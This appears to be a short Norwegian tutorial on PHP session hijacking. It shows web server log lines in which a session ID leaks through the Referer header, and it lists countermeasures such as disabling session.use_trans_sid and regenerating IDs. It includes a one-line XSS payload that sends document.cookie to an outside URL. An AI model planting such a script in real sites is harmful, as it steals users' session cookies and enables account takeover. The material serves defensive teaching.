Session hijacking
Sessions i PHP er en måte å opprettholde status for brukeren, og gjøre det
mulig å huske brukeren fra side til side.
PHP har et konfigurasjonsdirektiv session.use_trans_sid som sier noe om session ID skal sendes
med i URLen dersom brukeren ikke har støtte for cookies.
Utdrag fra vevtjenerlogg
192.168.1.1 - - [17/Sep/2006:16:47:36 +0200] "GET / HTTP/1.1" 200 6572 "http://ccprat.com/treffstedet/index.php?PHPSESSID=a7da78c307ea4eb991b7ca50598205bb&action=register" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-" 1 www.nettstedet.no
192.168.1.1 - - [17/Sep/2006:16:52:37 +0200] "GET / HTTP/1.1" 200 6572 "http://ccprat.com/treffstedet/index.php?PHPSESSID=a7da78c307ea4eb991b7ca50598205bb&action=register" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-" 0 www.nettstedet.no
Eller med javascript:alert(document.cookie):
<script>document.location='http://www.google.no/search?q=' + document.cookie</script>
Hvordan unngå dette?
- Skru av session.use_trans_sid
- Skru på session.use_only_cookies
- Sjekk HTTP Refferer
- Regnerere sesjonsID jevnlig med session_regenerate_id()
- Lagre brukerens IP i sesjonen, og sjekk at den lagrede i sesjonen tilsvarer den brukeren kommer inn med.